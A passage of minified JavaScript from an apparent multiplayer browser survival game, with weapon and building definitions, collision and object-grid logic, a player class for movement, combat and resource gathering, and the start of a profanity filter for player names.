						, req: ["wood", 4]
						, length: 120
						, width: 120
						, xOff: -6
						, yOff: 0
						, projectile: 0
						, spdMult: .75
						, speed: 600
					}, {
						id: 10
						, type: 1
						, age: 6
						, name: "great hammer"
						, desc: "hammer used for destroying structures"
						, src: "great_hammer_1"
						, length: 140
						, width: 140
						, xOff: -9
						, yOff: 25
						, dmg: 10
						, spdMult: .88
						, range: 75
						, sDmg: 7.5
						, gather: 1
						, speed: 400
					}, {
						id: 11
						, type: 1
						, age: 6
						, name: "wooden shield"
						, desc: "blocks projectiles and reduces melee damage"
						, src: "shield_1"
						, length: 120
						, width: 120
						, shield: .2
						, xOff: 6
						, yOff: 0
						, spdMult: .7
					}, {
						id: 12
						, type: 1
						, age: 8
						, name: "crossbow"
						, desc: "deals more damage and has greater range"
						, src: "crossbow_1"
						, req: ["wood", 5]
						, aboveHand: !0
						, armS: .75
						, length: 120
						, width: 120
						, xOff: -4
						, yOff: 0
						, projectile: 2
						, spdMult: .7
						, speed: 700
					}, {
						id: 13
						, type: 1
						, age: 9
						, name: "repeater crossbow"
						, desc: "high firerate crossbow with reduced damage"
						, src: "crossbow_2"
						, req: ["wood", 10]
						, aboveHand: !0
						, armS: .75
						, length: 120
						, width: 120
						, xOff: -4
						, yOff: 0
						, projectile: 3
						, spdMult: .7
						, speed: 230
					}, {
						id: 14
						, type: 1
						, age: 6
						, name: "mc grabby"
						, desc: "steals resources from enemies"
						, src: "grab_1"
						, length: 130
						, width: 210
						, xOff: -8
						, yOff: 53
						, dmg: 0
						, steal: 250
						, knock: .2
						, spdMult: 1.05
						, range: 125
						, gather: 0
						, speed: 700
					}, {
						id: 15
						, type: 1
						, age: 9
						, name: "musket"
						, desc: "slow firerate but high damage and range"
						, src: "musket_1"
						, req: ["stone", 10]
						, aboveHand: !0
						, rec: .35
						, armS: .6
						, hndS: .3
						, hndD: 1.6
						, length: 205
						, width: 205
						, xOff: 25
						, yOff: 0
						, projectile: 5
						, hideProjectile: !0
						, spdMult: .6
						, speed: 1500
					}], e.exports.list = [{
						group: e.exports.groups[0]
						, name: "apple"
						, desc: "restores 20 health when consumed"
						, req: ["food", 10]
						, consume: function (e) {
							return e.changeHealth(20, e)
						}
						, scale: 22
						, holdOffset: 15
					}, {
						age: 3
						, group: e.exports.groups[0]
						, name: "cookie"
						, desc: "restores 40 health when consumed"
						, req: ["food", 15]
						, consume: function (e) {
							return e.changeHealth(40, e)
						}
						, scale: 27
						, holdOffset: 15
					}, {
						age: 7
						, group: e.exports.groups[0]
						, name: "cheese"
						, desc: "restores 30 health and another 50 over 5 seconds"
						, req: ["food", 25]
						, consume: function (e) {
							return !!(e.changeHealth(30, e) || e.health < 100) && (e.dmgOverTime.dmg = -10, e.dmgOverTime.doer = e, e.dmgOverTime.time = 5, !0)
						}
						, scale: 27
						, holdOffset: 15
					}, {
						group: e.exports.groups[1]
						, name: "wood wall"
						, desc: "provides protection for your village"
						, req: ["wood", 10]
						, projDmg: !0
						, health: 380
						, scale: 50
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 3
						, group: e.exports.groups[1]
						, name: "stone wall"
						, desc: "provides improved protection for your village"
						, req: ["stone", 25]
						, health: 900
						, scale: 50
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 7
						, group: e.exports.groups[1]
						, name: "castle wall"
						, desc: "provides powerful protection for your village"
						, req: ["stone", 35]
						, health: 1500
						, scale: 52
						, holdOffset: 20
						, placeOffset: -5
					}, {
						group: e.exports.groups[2]
						, name: "spikes"
						, desc: "damages enemies when they touch them"
						, req: ["wood", 20, "stone", 5]
						, health: 400
						, dmg: 20
						, scale: 49
						, spritePadding: -23
						, holdOffset: 8
						, placeOffset: -5
					}, {
						age: 5
						, group: e.exports.groups[2]
						, name: "greater spikes"
						, desc: "damages enemies when they touch them"
						, req: ["wood", 30, "stone", 10]
						, health: 500
						, dmg: 35
						, scale: 52
						, spritePadding: -23
						, holdOffset: 8
						, placeOffset: -5
					}, {
						age: 9
						, group: e.exports.groups[2]
						, name: "poison spikes"
						, desc: "poisons enemies when they touch them"
						, req: ["wood", 35, "stone", 15]
						, health: 600
						, dmg: 30
						, pDmg: 5
						, scale: 52
						, spritePadding: -23
						, holdOffset: 8
						, placeOffset: -5
					}, {
						age: 9
						, group: e.exports.groups[2]
						, name: "spinning spikes"
						, desc: "damages enemies when they touch them"
						, req: ["wood", 30, "stone", 20]
						, health: 500
						, dmg: 45
						, turnSpeed: .003
						, scale: 52
						, spritePadding: -23
						, holdOffset: 8
						, placeOffset: -5
					}, {
						group: e.exports.groups[3]
						, name: "windmill"
						, desc: "generates gold over time"
						, req: ["wood", 50, "stone", 10]
						, health: 400
						, pps: 1
						, turnSpeed: 0
						, spritePadding: 25
						, iconLineMult: 12
						, scale: 45
						, holdOffset: 20
						, placeOffset: 5
					}, {
						age: 5
						, group: e.exports.groups[3]
						, name: "faster windmill"
						, desc: "generates more gold over time"
						, req: ["wood", 60, "stone", 20]
						, health: 500
						, pps: 1.5
						, turnSpeed: 0
						, spritePadding: 25
						, iconLineMult: 12
						, scale: 47
						, holdOffset: 20
						, placeOffset: 5
					}, {
						age: 8
						, group: e.exports.groups[3]
						, name: "power mill"
						, desc: "generates more gold over time"
						, req: ["wood", 100, "stone", 50]
						, health: 800
						, pps: 2
						, turnSpeed: 0
						, spritePadding: 25
						, iconLineMult: 12
						, scale: 47
						, holdOffset: 20
						, placeOffset: 5
					}, {
						age: 5
						, group: e.exports.groups[4]
						, type: 2
						, name: "mine"
						, desc: "allows you to mine stone"
						, req: ["wood", 20, "stone", 100]
						, iconLineMult: 12
						, scale: 65
						, holdOffset: 20
						, placeOffset: 0
					}, {
						age: 5
						, group: e.exports.groups[11]
						, type: 0
						, name: "sapling"
						, desc: "allows you to farm wood"
						, req: ["wood", 150]
						, iconLineMult: 12
						, colDiv: .5
						, scale: 110
						, holdOffset: 50
						, placeOffset: -15
					}, {
						age: 4
						, group: e.exports.groups[5]
						, name: "pit trap"
						, desc: "pit that traps enemies if they walk over it"
						, req: ["wood", 30, "stone", 30]
						, trap: !0
						, ignoreCollision: !0
						, hideFromEnemy: !0
						, health: 500
						, colDiv: .2
						, scale: 50
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 4
						, group: e.exports.groups[6]
						, name: "boost pad"
						, desc: "provides boost when stepped on"
						, req: ["stone", 20, "wood", 5]
						, ignoreCollision: !0
						, boostSpeed: 1.5
						, health: 150
						, colDiv: .7
						, scale: 45
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 7
						, group: e.exports.groups[7]
						, doUpdate: !0
						, name: "turret"
						, desc: "defensive structure that shoots at enemies"
						, req: ["wood", 200, "stone", 150]
						, health: 800
						, projectile: 1
						, shootRange: 700
						, shootRate: 2200
						, scale: 43
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 7
						, group: e.exports.groups[8]
						, name: "platform"
						, desc: "platform to shoot over walls and cross over water"
						, req: ["wood", 20]
						, ignoreCollision: !0
						, zIndex: 1
						, health: 300
						, scale: 43
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 7
						, group: e.exports.groups[9]
						, name: "healing pad"
						, desc: "standing on it will slowly heal you"
						, req: ["wood", 30, "food", 10]
						, ignoreCollision: !0
						, healCol: 15
						, health: 400
						, colDiv: .7
						, scale: 45
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 9
						, group: e.exports.groups[10]
						, name: "spawn pad"
						, desc: "you will spawn here when you die but it will dissapear"
						, req: ["wood", 100, "stone", 100]
						, health: 400
						, ignoreCollision: !0
						, spawnPoint: !0
						, scale: 45
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 7
						, group: e.exports.groups[12]
						, name: "blocker"
						, desc: "blocks building in radius"
						, req: ["wood", 30, "stone", 25]
						, ignoreCollision: !0
						, blocker: 300
						, health: 400
						, colDiv: .7
						, scale: 45
						, holdOffset: 20
						, placeOffset: -5
					}, {
						age: 7
						, group: e.exports.groups[13]
						, name: "teleporter"
						, desc: "teleports you to a random point on the map"
						, req: ["wood", 60, "stone", 60]
						, ignoreCollision: !0
						, teleport: !0
						, health: 200
						, colDiv: .7
						, scale: 45
						, holdOffset: 20
						, placeOffset: -5
					}];
					for(var n = 0; n < e.exports.list.length; ++n) e.exports.list[n].id = n, e.exports.list[n].pre && (e.exports.list[n].pre = n - e.exports.list[n].pre)
				}, function (e, t) {
					e.exports = {}
				}, function (e, t) {
					var n = Math.floor
						, r = Math.abs
						, i = Math.cos
						, o = Math.sin
						, a = (Math.pow, Math.sqrt);
					e.exports = function (e, t, s, l, c, u) {
						var f, d;
						this.objects = t, this.grids = {}, this.updateObjects = [];
						var h = l.mapScale / l.colGrid;
						this.setObjectGrids = function (e) {
							for(var t = Math.min(l.mapScale, Math.max(0, e.x)), n = Math.min(l.mapScale, Math.max(0, e.y)), r = 0; r < l.colGrid; ++r) {
								f = r * h;
								for(var i = 0; i < l.colGrid; ++i) d = i * h, t + e.scale >= f && t - e.scale <= f + h && n + e.scale >= d && n - e.scale <= d + h && (this.grids[r + "_" + i] || (this.grids[r + "_" + i] = []), this.grids[r + "_" + i].push(e), e.gridLocations.push(r + "_" + i))
							}
						}, this.removeObjGrid = function (e) {
							for(var t, n = 0; n < e.gridLocations.length; ++n)(t = this.grids[e.gridLocations[n]].indexOf(e)) >= 0 && this.grids[e.gridLocations[n]].splice(t, 1)
						}, this.disableObj = function (e) {
							if(e.active = !1, u) {
								e.owner && e.pps && (e.owner.pps -= e.pps), this.removeObjGrid(e);
								var t = this.updateObjects.indexOf(e);
								t >= 0 && this.updateObjects.splice(t, 1)
							}
						}, this.hitObj = function (e, t) {
							for(var n = 0; n < c.length; ++n) c[n].active && (e.sentTo[c[n].id] && (e.active ? c[n].canSee(e) && u.send(c[n].id, "8", s.fixTo(t, 1), e.sid) : u.send(c[n].id, "12", e.sid)), e.active || e.owner != c[n] || c[n].changeItemCount(e.group.id, -1))
						};
						var p, A, g = [];
						this.getGridArrays = function (e, t, r) {
							f = n(e / h), d = n(t / h), g.length = 0;
							try {
								this.grids[f + "_" + d] && g.push(this.grids[f + "_" + d]), e + r >= (f + 1) * h && ((p = this.grids[f + 1 + "_" + d]) && g.push(p), d && t - r <= d * h ? (p = this.grids[f + 1 + "_" + (d - 1)]) && g.push(p) : t + r >= (d + 1) * h && (p = this.grids[f + 1 + "_" + (d + 1)]) && g.push(p)), f && e - r <= f * h && ((p = this.grids[f - 1 + "_" + d]) && g.push(p), d && t - r <= d * h ? (p = this.grids[f - 1 + "_" + (d - 1)]) && g.push(p) : t + r >= (d + 1) * h && (p = this.grids[f - 1 + "_" + (d + 1)]) && g.push(p)), t + r >= (d + 1) * h && (p = this.grids[f + "_" + (d + 1)]) && g.push(p), d && t - r <= d * h && (p = this.grids[f + "_" + (d - 1)]) && g.push(p)
							} catch (e) {}
							return g
						}, this.add = function (n, r, i, o, a, s, l, c, f) {
							A = null;
							for(var d = 0; d < t.length; ++d)
								if(t[d].sid == n) {
									A = t[d];
									break
								} if(!A)
								for(d = 0; d < t.length; ++d)
									if(!t[d].active) {
										A = t[d];
										break
									} A || (A = new e(n), t.push(A)), c && (A.sid = n), A.init(r, i, o, a, s, l, f), u && (this.setObjectGrids(A), A.doUpdate && this.updateObjects.push(A))
						}, this.disableBySid = function (e) {
							for(var n = 0; n < t.length; ++n)
								if(t[n].sid == e) {
									this.disableObj(t[n]);
									break
								}
						}, this.removeAllItems = function (e, n) {
							for(var r = 0; r < t.length; ++r) t[r].active && t[r].owner && t[r].owner.sid == e && this.disableObj(t[r]);
							n && n.broadcast("13", e)
						}, this.fetchSpawnObj = function (e) {
							for(var n = null, r = 0; r < t.length; ++r)
								if((A = t[r])
									.active && A.owner && A.owner.sid == e && A.spawnPoint) {
									n = [A.x, A.y], this.disableObj(A), u.broadcast("12", A.sid), A.owner && A.owner.changeItemCount(A.group.id, -1);
									break
								} return n
						}, this.checkItemLocation = function (e, n, r, i, o, a, c) {
							for(var u = 0; u < t.length; ++u) {
								var f = t[u].blocker ? t[u].blocker : t[u].getScale(i, t[u].isItem);
								if(t[u].active && s.getDistance(e, n, t[u].x, t[u].y) < r + f) return !1
							}
							return !(!a && 18 != o && n >= l.mapScale / 2 - l.riverWidth / 2 && n <= l.mapScale / 2 + l.riverWidth / 2)
						}, this.addProjectile = function (e, t, n, r, i) {
							for(var o, a = items.projectiles[i], l = 0; l < projectiles.length; ++l)
								if(!projectiles[l].active) {
									o = projectiles[l];
									break
								} o || (o = new Projectile(c, s), projectiles.push(o)), o.init(i, e, t, n, a.speed, r, a.scale)
						}, this.checkCollision = function (e, t, n) {
							n = n || 1;
							var c = e.x - t.x
								, u = e.y - t.y
								, f = e.scale + t.scale;
							if(r(c) <= f || r(u) <= f) {
								f = e.scale + (t.getScale ? t.getScale() : t.scale);
								var d = a(c * c + u * u) - f;
								if(d <= 0) {
									if(t.ignoreCollision) !t.trap || e.noTrap || t.owner == e || t.owner && t.owner.team && t.owner.team == e.team ? t.boostSpeed ? (e.xVel += n * t.boostSpeed * (t.weightM || 1) * i(t.dir), e.yVel += n * t.boostSpeed * (t.weightM || 1) * o(t.dir)) : t.healCol ? e.healCol = t.healCol : t.teleport && (e.x = s.randInt(0, l.mapScale), e.y = s.randInt(0, l.mapScale)) : (e.lockMove = !0, t.hideFromEnemy = !1);
									else {
										var h = s.getDirection(e.x, e.y, t.x, t.y);
										if(s.getDistance(e.x, e.y, t.x, t.y), t.isPlayer ? (d = -1 * d / 2, e.x += d * i(h), e.y += d * o(h), t.x -= d * i(h), t.y -= d * o(h)) : (e.x = t.x + f * i(h), e.y = t.y + f * o(h), e.xVel *= .75, e.yVel *= .75), t.dmg && t.owner != e && (!t.owner || !t.owner.team || t.owner.team != e.team)) {
											e.changeHealth(-t.dmg, t.owner, t);
											var p = 1.5 * (t.weightM || 1);
											e.xVel += p * i(h), e.yVel += p * o(h), !t.pDmg || e.skin && e.skin.poisonRes || (e.dmgOverTime.dmg = t.pDmg, e.dmgOverTime.time = 5, e.dmgOverTime.doer = t.owner), e.colDmg && t.health && (t.changeHealth(-e.colDmg) && this.disableObj(t), this.hitObj(t, s.getDirection(e.x, e.y, t.x, t.y)))
										}
									}
									return t.zIndex > e.zIndex && (e.zIndex = t.zIndex), !0
								}
							}
							return !1
						}
					}
				}, function (e, t, n) {
					var r = new(n(49));
					r.addWords("xxxxx");
					var i = Math.abs
						, o = Math.cos
						, a = Math.sin
						, s = Math.pow
						, l = Math.sqrt;
					e.exports = function (e, t, n, c, u, f, d, h, p, A, g, m, y, w) {
						this.id = e, this.sid = t, this.tmpScore = 0, this.team = null, this.skinIndex = 0, this.tailIndex = 0, this.hitTime = 0, this.tails = {};
						for(var v = 0; v < g.length; ++v) g[v].price <= 0 && (this.tails[g[v].id] = 1);
						for(this.skins = {}, v = 0; v < A.length; ++v) A[v].price <= 0 && (this.skins[A[v].id] = 1);
						this.points = 0, this.dt = 0, this.hidden = !1, this.itemCounts = {}, this.isPlayer = !0, this.pps = 0, this.moveDir = void 0, this.skinRot = 0, this.lastPing = 0, this.iconIndex = 0, this.skinColor = 0, this.spawn = function (e) {
							this.active = !0, this.alive = !0, this.lockMove = !1, this.lockDir = !1, this.minimapCounter = 0, this.chatCountdown = 0, this.shameCount = 0, this.shameTimer = 0, this.sentTo = {}, this.gathering = 0, this.autoGather = 0, this.animTime = 0, this.animSpeed = 0, this.mouseState = 0, this.buildIndex = -1, this.weaponIndex = 0, this.dmgOverTime = {}, this.noMovTimer = 0, this.maxXP = 300, this.XP = 0, this.age = 1, this.kills = 0, this.upgrAge = 2, this.upgradePoints = 0, this.x = 0, this.y = 0, this.zIndex = 0, this.xVel = 0, this.yVel = 0, this.slowMult = 1, this.dir = 0, this.dirPlus = 0, this.targetDir = 0, this.targetAngle = 0, this.maxHealth = 100, this.health = this.maxHealth, this.scale = n.playerScale, this.speed = n.playerSpeed, this.resetMoveDir(), this.resetResources(e), this.items = [0, 3, 6, 10], this.weapons = [0], this.shootCount = 0, this.weaponXP = [], this.reloads = {}
						}, this.resetMoveDir = function () {
							this.moveDir = void 0
						}, this.resetResources = function (e) {
							for(var t = 0; t < n.resourceTypes.length; ++t) this[n.resourceTypes[t]] = e ? 100 : 0
						}, this.addItem = function (e) {
							var t = p.list[e];
							if(t) {
								for(var n = 0; n < this.items.length; ++n)
									if(p.list[this.items[n]].group == t.group) return this.buildIndex == this.items[n] && (this.buildIndex = e), this.items[n] = e, !0;
								return this.items.push(e), !0
							}
							return !1
						}, this.setUserData = function (e) {
							if(e) {
								this.name = "unknown";
								var t = e.name + ""
									, i = !1
									, o = (t = (t = (t = (t = t.slice(0, n.maxNameLength))
												.replace(/[^\w:\(\)\/? -]+/gim, " "))
											.replace(/[^\x00-\x7F]/g, " "))
										.trim())
									.toLowerCase()
									.replace(/\s/g, "")
									.replace(/1/g, "i")
									.replace(/0/g, "o")
									.replace(/5/g, "s");
								for(var a of r.list)
									if(-1 != o.indexOf(a)) {
										i = !0;
										break
									} t.length > 0 && !i && (this.name = t), this.skinColor = 0, n.skinColors[e.skin] && (this.skinColor = e.skin)
							}
						}, this.getData = function () {
							return [this.id, this.sid, this.name, c.fixTo(this.x, 2), c.fixTo(this.y, 2), c.fixTo(this.dir, 3), this.health, this.maxHealth, this.scale, this.skinColor]
						}, this.setData = function (e) {
							this.id = e[0], this.sid = e[1], this.name = e[2], this.x = e[3], this.y = e[4], this.dir = e[5], this.health = e[6], this.maxHealth = e[7], this.scale = e[8], this.skinColor = e[9]
						};
						var b = 0;
						this.update = function (e) {
							if(this.alive) {
								if(this.shameTimer > 0 && (this.shameTimer -= e, this.shameTimer <= 0 && (this.shameTimer = 0, this.shameCount = 0)), (b -= e) <= 0) {
									var t = (this.skin && this.skin.healthRegen ? this.skin.healthRegen : 0) + (this.tail && this.tail.healthRegen ? this.tail.healthRegen : 0);
									t && this.changeHealth(t, this), this.dmgOverTime.dmg && (this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer), this.dmgOverTime.time -= 1, this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)), this.healCol && this.changeHealth(this.healCol, this), b = 1e3
								}
								if(this.alive) {
									if(this.slowMult < 1 && (this.slowMult += 8e-4 * e, this.slowMult > 1 && (this.slowMult = 1)), this.noMovTimer += e, (this.xVel || this.yVel) && (this.noMovTimer = 0), this.lockMove) this.xVel = 0, this.yVel = 0;
									else {
										var r = (this.buildIndex >= 0 ? .5 : 1) * (p.weapons[this.weaponIndex].spdMult || 1) * (this.skin && this.skin.spdMult || 1) * (this.tail && this.tail.spdMult || 1) * (this.y <= n.snowBiomeTop ? this.skin && this.skin.coldM ? 1 : n.snowSpeed : 1) * this.slowMult;
										!this.zIndex && this.y >= n.mapScale / 2 - n.riverWidth / 2 && this.y <= n.mapScale / 2 + n.riverWidth / 2 && (this.skin && this.skin.watrImm ? (r *= .75, this.xVel += .4 * n.waterCurrent * e) : (r *= .33, this.xVel += n.waterCurrent * e));
										var i = null != this.moveDir ? o(this.moveDir) : 0
											, h = null != this.moveDir ? a(this.moveDir) : 0
											, A = l(i * i + h * h);
										0 != A && (i /= A, h /= A), i && (this.xVel += i * this.speed * r * e), h && (this.yVel += h * this.speed * r * e)
									}
									var g;
									this.zIndex = 0, this.lockMove = !1, this.healCol = 0;
									for(var m = c.getDistance(0, 0, this.xVel * e, this.yVel * e), y = Math.min(4, Math.max(1, Math.round(m / 40))), w = 1 / y, v = 0; v < y; ++v) {
										this.xVel && (this.x += this.xVel * e * w), this.yVel && (this.y += this.yVel * e * w), g = f.getGridArrays(this.x, this.y, this.scale);
										for(var x = 0; x < g.length; ++x)
											for(var B = 0; B < g[x].length; ++B) g[x][B].active && f.checkCollision(this, g[x][B], w)
									}
									for(v = (k = d.indexOf(this)) + 1; v < d.length; ++v) d[v] != this && d[v].alive && f.checkCollision(this, d[v]);
									if(this.xVel && (this.xVel *= s(n.playerDecel, e), this.xVel <= .01 && this.xVel >= -.01 && (this.xVel = 0)), this.yVel && (this.yVel *= s(n.playerDecel, e), this.yVel <= .01 && this.yVel >= -.01 && (this.yVel = 0)), this.x - this.scale < 0 ? this.x = this.scale : this.x + this.scale > n.mapScale && (this.x = n.mapScale - this.scale), this.y - this.scale < 0 ? this.y = this.scale : this.y + this.scale > n.mapScale && (this.y = n.mapScale - this.scale), this.buildIndex < 0)
										if(this.reloads[this.weaponIndex] > 0) this.reloads[this.weaponIndex] -= e, this.gathering = this.mouseState;
										else if(this.gathering || this.autoGather) {
										var E = !0;
										if(null != p.weapons[this.weaponIndex].gather) this.gather(d);
										else if(null != p.weapons[this.weaponIndex].projectile && this.hasRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0)) {
											this.useRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0), this.noMovTimer = 0;
											var k = p.weapons[this.weaponIndex].projectile
												, C = 2 * this.scale
												, I = this.skin && this.skin.aMlt ? this.skin.aMlt : 1;
											p.weapons[this.weaponIndex].rec && (this.xVel -= p.weapons[this.weaponIndex].rec * o(this.dir), this.yVel -= p.weapons[this.weaponIndex].rec * a(this.dir)), u.addProjectile(this.x + C * o(this.dir), this.y + C * a(this.dir), this.dir, p.projectiles[k].range * I, p.projectiles[k].speed * I, k, this, null, this.zIndex)
										} else E = !1;
										this.gathering = this.mouseState, E && (this.reloads[this.weaponIndex] = p.weapons[this.weaponIndex].speed * (this.skin && this.skin.atkSpd || 1))
									}
								}
							}
						}, this.addWeaponXP = function (e) {
							this.weaponXP[this.weaponIndex] || (this.weaponXP[this.weaponIndex] = 0), this.weaponXP[this.weaponIndex] += e
						}, this.earnXP = function (e) {
							this.age < n.maxAge && (this.XP += e, this.XP >= this.maxXP ? (this.age < n.maxAge ? (this.age++, this.XP = 0, this.maxXP *= 1.2) : this.XP = this.maxXP, this.upgradePoints++, m.send(this.id, "16", this.upgradePoints, this.upgrAge), m.send(this.id, "15", this.XP, c.fixTo(this.maxXP, 1), this.age)) : m.send(this.id, "15", this.XP))
						}, this.changeHealth = function (e, t) {
							if(e > 0 && this.health >= this.maxHealth) return !1;
							e < 0 && this.skin && (e *= this.skin.dmgMult || 1), e < 0 && this.tail && (e *= this.tail.dmgMult || 1), e < 0 && (this.hitTime = Date.now()), this.health += e, this.health > this.maxHealth && (e -= this.health - this.maxHealth, this.health = this.maxHealth), this.health <= 0 && this.kill(t);
							for(var n = 0; n < d.length; ++n) this.sentTo[d[n].id] && m.send(d[n].id, "h", this.sid, Math.round(this.health));
							return !t || !t.canSee(this) || t == this && e < 0 || m.send(t.id, "t", Math.round(this.x), Math.round(this.y), Math.round(-e), 1), !0
						}, this.kill = function (e) {
							e && e.alive && (e.kills++, e.skin && e.skin.goldSteal ? y(e, Math.round(this.points / 2)) : y(e, Math.round(100 * this.age * (e.skin && e.skin.kScrM ? e.skin.kScrM : 1))), m.send(e.id, "9", "kills", e.kills, 1)), this.alive = !1, m.send(this.id, "11"), w()
						}, this.addResource = function (e, t, r) {
							!r && t > 0 && this.addWeaponXP(t), 3 == e ? y(this, t, !0) : (this[n.resourceTypes[e]] += t, m.send(this.id, "9", n.resourceTypes[e], this[n.resourceTypes[e]], 1))
						}, this.changeItemCount = function (e, t) {
							this.itemCounts[e] = this.itemCounts[e] || 0, this.itemCounts[e] += t, m.send(this.id, "14", e, this.itemCounts[e])
						}, this.buildItem = function (e) {
							var t = this.scale + e.scale + (e.placeOffset || 0)
								, n = this.x + t * o(this.dir)
								, r = this.y + t * a(this.dir);
							if(this.canBuild(e) && !(e.consume && this.skin && this.skin.noEat) && (e.consume || f.checkItemLocation(n, r, e.scale, .6, e.id, !1, this))) {
								var i = !1;
								if(e.consume) {
									if(this.hitTime) {
										var s = Date.now() - this.hitTime;
										this.hitTime = 0, s <= 120 ? (this.shameCount++, this.shameCount >= 8 && (this.shameTimer = 3e4, this.shameCount = 0)) : (this.shameCount -= 2, this.shameCount <= 0 && (this.shameCount = 0))
									}
									this.shameTimer <= 0 && (i = e.consume(this))
								} else i = !0, e.group.limit && this.changeItemCount(e.group.id, 1), e.pps && (this.pps += e.pps), f.add(f.objects.length, n, r, this.dir, e.scale, e.type, e, !1, this);
								i && (this.useRes(e), this.buildIndex = -1)
							}
						}, this.hasRes = function (e, t) {
							for(var n = 0; n < e.req.length;) {
								if(this[e.req[n]] < Math.round(e.req[n + 1] * (t || 1))) return !1;
								n += 2
							}
							return !0
						}, this.useRes = function (e, t) {
							if(!n.inSandbox)
								for(var r = 0; r < e.req.length;) this.addResource(n.resourceTypes.indexOf(e.req[r]), -Math.round(e.req[r + 1] * (t || 1))), r += 2
						}, this.canBuild = function (e) {
							return !!n.inSandbox || !(e.group.limit && this.itemCounts[e.group.id] >= e.group.limit) && this.hasRes(e)
						}, this.gather = function () {
							this.noMovTimer = 0, this.slowMult -= p.weapons[this.weaponIndex].hitSlow || .3, this.slowMult < 0 && (this.slowMult = 0);
							for(var e, t, r, i = n.fetchVariant(this), s = i.poison, l = i.val, u = {}, A = f.getGridArrays(this.x, this.y, p.weapons[this.weaponIndex].range), g = 0; g < A.length; ++g)
								for(var m = 0; m < A[g].length; ++m)
									if((t = A[g][m])
										.active && !t.dontGather && !u[t.sid] && t.visibleToPlayer(this) && c.getDistance(this.x, this.y, t.x, t.y) - t.scale <= p.weapons[this.weaponIndex].range && (e = c.getDirection(t.x, t.y, this.x, this.y), c.getAngleDist(e, this.dir) <= n.gatherAngle)) {
										if(u[t.sid] = 1, t.health) {
											if(t.changeHealth(-p.weapons[this.weaponIndex].dmg * l * (p.weapons[this.weaponIndex].sDmg || 1) * (this.skin && this.skin.bDmg ? this.skin.bDmg : 1), this)) {
												for(var y = 0; y < t.req.length;) this.addResource(n.resourceTypes.indexOf(t.req[y]), t.req[y + 1]), y += 2;
												f.disableObj(t)
											}
										} else {
											this.earnXP(4 * p.weapons[this.weaponIndex].gather);
											var w = p.weapons[this.weaponIndex].gather + (3 == t.type ? 4 : 0);
											this.skin && this.skin.extraGold && this.addResource(3, 1), this.addResource(t.type, w)
										}
										r = !0, f.hitObj(t, e)
									} for(m = 0; m < d.length + h.length; ++m)
								if((t = d[m] || h[m - d.length]) != this && t.alive && (!t.team || t.team != this.team) && c.getDistance(this.x, this.y, t.x, t.y) - 1.8 * t.scale <= p.weapons[this.weaponIndex].range && (e = c.getDirection(t.x, t.y, this.x, this.y), c.getAngleDist(e, this.dir) <= n.gatherAngle)) {
									var v = p.weapons[this.weaponIndex].steal;
									v && t.addResource && (v = Math.min(t.points || 0, v), this.addResource(3, v), t.addResource(3, -v));
									var b = l;
									null != t.weaponIndex && p.weapons[t.weaponIndex].shield && c.getAngleDist(e + Math.PI, t.dir) <= n.shieldAngle && (b = p.weapons[t.weaponIndex].shield);
									var x = p.weapons[this.weaponIndex].dmg * (this.skin && this.skin.dmgMultO ? this.skin.dmgMultO : 1) * (this.tail && this.tail.dmgMultO ? this.tail.dmgMultO : 1)
										, B = .3 * (t.weightM || 1) + (p.weapons[this.weaponIndex].knock || 0);
									t.xVel += B * o(e), t.yVel += B * a(e), this.skin && this.skin.healD && this.changeHealth(x * b * this.skin.healD, this), this.tail && this.tail.healD && this.changeHealth(x * b * this.tail.healD, this), t.skin && t.skin.dmg && 1 == b && this.changeHealth(-x * t.skin.dmg, t), t.tail && t.tail.dmg && 1 == b && this.changeHealth(-x * t.tail.dmg, t), !(t.dmgOverTime && this.skin && this.skin.poisonDmg) || t.skin && t.skin.poisonRes || (t.dmgOverTime.dmg = this.skin.poisonDmg, t.dmgOverTime.time = this.skin.poisonTime || 1, t.dmgOverTime.doer = this), !t.dmgOverTime || !s || t.skin && t.skin.poisonRes || (t.dmgOverTime.dmg = 5, t.dmgOverTime.time = 5, t.dmgOverTime.doer = this), t.skin && t.skin.dmgK && (this.xVel -= t.skin.dmgK * o(e), this.yVel -= t.skin.dmgK * a(e)), t.changeHealth(-x * b, this, this)
								} this.sendAnimation(r ? 1 : 0)
						}, this.sendAnimation = function (e) {
							for(var t = 0; t < d.length; ++t) this.sentTo[d[t].id] && this.canSee(d[t]) && m.send(d[t].id, "7", this.sid, e ? 1 : 0, this.weaponIndex)
						};
						var x = 0
							, B = 0;
						this.animate = function (e) {
							this.animTime > 0 && (this.animTime -= e, this.animTime <= 0 ? (this.animTime = 0, this.dirPlus = 0, x = 0, B = 0) : 0 == B ? (x += e / (this.animSpeed * n.hitReturnRatio), this.dirPlus = c.lerp(0, this.targetAngle, Math.min(1, x)), x >= 1 && (x = 1, B = 1)) : (x -= e / (this.animSpeed * (1 - n.hitReturnRatio)), this.dirPlus = c.lerp(0, this.targetAngle, Math.max(0, x))))
						}, this.startAnim = function (e, t) {
							this.animTime = this.animSpeed = p.weapons[t].speed, this.targetAngle = e ? -n.hitAngle : -Math.PI, x = 0, B = 0
						}, this.canSee = function (e) {
							if(!e) return !1;
							if(e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer) return !1;
							var t = i(e.x - this.x) - e.scale
								, r = i(e.y - this.y) - e.scale;
							return t <= n.maxScreenWidth / 2 * 1.3 && r <= n.maxScreenHeight / 2 * 1.3
						}
					}
				}, function (e, t, n) {
					const r = n(50)
						.words
						, i = n(51)
						.array;
					e.exports = class {
						constructor(e = {}) {
							Object.assign(this, {
								list: e.emptyList && [] || Array.prototype.concat.apply(r, [i, e.list || []])
								, exclude: e.exclude || []
								, placeHolder: e.placeHolder || "*"
								, regex: e.regex || /[^a-zA-Z0-9|\$|\@]|\^/g
								, replaceRegex: e.replaceRegex || /\w/g
							})
						}
						isProfane(e) {
							return this.list.filter(t => {
